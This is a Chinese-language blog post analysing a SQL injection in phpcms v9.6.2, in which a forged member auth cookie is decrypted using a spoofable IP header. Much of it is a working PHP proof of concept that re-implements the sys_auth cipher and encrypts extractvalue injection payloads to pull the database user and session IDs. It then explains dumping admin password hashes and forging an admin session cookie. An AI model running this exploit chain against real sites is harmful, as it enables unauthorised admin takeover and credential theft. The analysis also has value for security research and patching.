phpcms v9.6.2 sqli注入漏洞分析

phpcms v9.6.2 再次同时爆出sqli注入漏洞和一个任意文件读取漏洞, 继续分析一波。

这次sqli注入漏洞还是在member模块, 在会员前台管理中心接口的继承父类foreground:

class index extends foreground {

    private $times_db;
    
    function __construct() {
        parent::__construct();
        $this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
    }

在index类的构造方法中调用了父类的构造方法,我们跟进继承父类的构造方法/phpcms/modules/member/classes/foreground.class.php line 19-38:

class foreground {
    public $db, $memberinfo;
    private $_member_modelinfo;
    
    public function __construct() {
        self::check_ip();
        $this->db = pc_base::load_model('member_model');
        //ajax验证信息不需要登录
        if(substr(ROUTE_A, 0, 7) != 'public_') {
            self::check_member();
        }
    }
    
    /**
     * 判断用户是否已经登陆
     */
    final public function check_member() {
        $phpcms_auth = param::get_cookie('auth');
        if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
            if ($phpcms_auth && ROUTE_A != 'mini') {
                showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
            } else {
                return true;
            }
        } else {
            //判断是否存在auth cookie
            if ($phpcms_auth) {
                $auth_key = $auth_key = get_auth_key('login');
                list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
                //验证用户,获取用户信息
                $this->memberinfo = $this->db->get_one(array('userid'=>$userid));

只要不是ajax登录都需要进入check_member验证信息, 在check_member()函数中导致sql注入地方:

$phpcms_auth = param::get_cookie('auth');
...
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
//验证用户,获取用户信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));

$userid 的值是从cookie中获取,然后经过两次解密后的结果,之后程序没有过滤参数直接传入get_one 拼接字符串, 最终导致注入产生。

那么这两次解密过程都经过了什么,我们来分析一下。

首先是param::get_cookie()函数从cookie获加密值并解密,在/phpcms/libs/classes/param.class.php LINE 107-116

public static function get_cookie($var, $default = '') {
    $var = pc_base::load_config('system','cookie_pre').$var;
    $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
    if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
        $value = intval($value);
    } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
        $value = safe_replace($value);
    }
    return $value;
}

这里还有一个cookie_pre, 在system.php中设置着,然后调用sys_auth函数解密,没有传入key值默认用配置文件中的auth_key作为解密密钥。

程序继续运行,走到第二个解密的地方:

if ($phpcms_auth) {
    $auth_key = $auth_key = get_auth_key('login');
    list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

sys_auth 传入了第三个参数$auth_key 作为密钥, 而$auth_key 又是通过get_auth_key函数获得,跟进函数:

function get_auth_key($prefix,$suffix="") {
    if($prefix=='login'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
    }else if($prefix=='email'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
    }else{
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    echo $authkey;
//  exit();
    return $authkey;
}

$prefix是login,我们看第一个分支即可,$pc_auth_key 是配置文件的密钥和ip()连接后的md5值,然后$prefix和$pc_auth_key连接在做md5才得到$auth_key 第二次解密的密钥。

ip()函数我们是可以伪造的,来看其定义:

function ip() {
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}

那么配置文件中的auth_key 该如何获取呢? 我们可以通过v9.6.2任意文件读取漏洞去去读取caches/configs/system.php 来获得

这样,解密的key都是可控后,我们就可以伪造任意cookie进行注入了, 上poc:

<?php
/**
* 字符串加密、解密函数
*
*
* @param    string    $txt        字符串
* @param    string    $operation    ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param    string    $key        密钥:数字、字母、下划线
* @param    string    $expiry        过期时间
* @return    string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : "4sUeVkLdmNZYGu2bPshg");
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

$auth_key = "wR67aGYF4kOghES5NKG1";
$ip = "123.59.214.3";
function get_auth_key($prefix,$suffix="") {
    global $auth_key;
    global $ip;
    if($prefix=='login'){
        $pc_auth_key = md5($auth_key.$ip);
    }else if($prefix=='email'){
        $pc_auth_key = md5($auth_key);
    }else{
        $pc_auth_key = md5($auth_key.$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

$auth_key2 = get_auth_key('login');
$auth_key2 = get_auth_key('login');
$sql = "1' and (extractvalue(1,concat(0x7e,(select user()))));#\txx";
#$sql = "1' and (extractvalue(1,concat(0x7e,(select sessionid from v9_session))));#\tokee";
$sql = sys_auth($sql,'ENCODE',$auth_key2);
echo sys_auth($sql,'ENCODE',$auth_key);

echo "\n";
echo sys_auth('1','ENCODE',$auth_key);

echo sys_auth('3d1bj3Vdx7JEQ6XakmlhBiUiEYBo7Ff3XMV2qrSu','DECODE',$auth_key);
image.png

之后爆帐号密码也是一样的,将paylaod改成select xx from v9_admin 即可,但如果需要解密的话还需要salt,就在v9_admin表中enctypt字段,phpcms密码生成函数为:

function password($password, $encrypt='') {
    $pwd = array();
    $pwd['encrypt'] =  $encrypt ? $encrypt : create_randomstr();
    $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
    return $encrypt ? $pwd['password'] : $pwd;
}

这种加密在discuz,dede都采用同样的加密。让破解难度大大增加。

如果获取了salt还是无法解密的话,还可以通过注入获取到session值来伪造访问后台页面(dede,discuz也都一样),具体配置在system.php中:

<?php
return array(
//网站路径
'web_path' => '/phpcmsv961/',
//Session配置
'session_storage' => 'mysql',
'session_ttl' => 1800,
'session_savepath' => CACHE_PATH.'sessions/',
'session_n' => 0,
//Cookie配置
'cookie_domain' => '', //Cookie 作用域
'cookie_path' => '', //Cookie 作用路径
'cookie_pre' => 'qErKa_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
'cookie_ttl' => 0, //Cookie 生命周期,0 表示随浏览器进程

mysql存储方式,session有效期为30分钟。

我们把poc里面的$sql换成第二条爆session的语句即可.

image.png

之后就是伪造session登录后台了

image.png

这里cookie中还需要另外两个内容:

PHPSESSID=7614jvu7e2hp7uemoioldco8c3;  zxtgv_siteid=75614CKDLhilVlQxGX06IK1FTqZnV7Hhs1c4Po34; zxtgv_userid=3d1bj3Vdx7JEQ6XakmlhBiUiEYBo7Ff3XMV2qrSu;

siteid和userid都设为1, 然后用auth_key加密下即可得到。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,835评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,598评论 1 295
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,569评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,159评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,533评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,710评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,923评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,674评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,421评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,622评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,115评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,428评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,114评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,097评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,875评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,753评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,649评论 2 271

推荐阅读更多精彩内容

  • 0x01 漏洞分析 首先本次漏洞的问题函数不在于某一处函数或者语句,而是在与多方面的因素共同作用,最终可以进行绕过...
    Pino_HD阅读 9,561评论 0 4
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,100评论 18 139
  • 如若这个春天比你想象的美丽 那就不要辜负 用惊喜和感动来迎接窗外的鹂语 或许等到夏天的躁动睡醒时 你已不在这里 没...
    晏米阅读 181评论 0 2
  • 去年吧,通过朋友圈添加了几个公众号。因为关注的公众号也不多,他们更新的每一篇文章我都看。从今年3月份开始,陆续加入...
    风飘啊飘阅读 291评论 0 0
  • 1.你的公众号目标用户是谁?有什么诱饵有可能激发他帮你传播?有什么内容会激发他共鸣自发传播? 注意:前后的区别在于...
    Really_238c阅读 214评论 0 0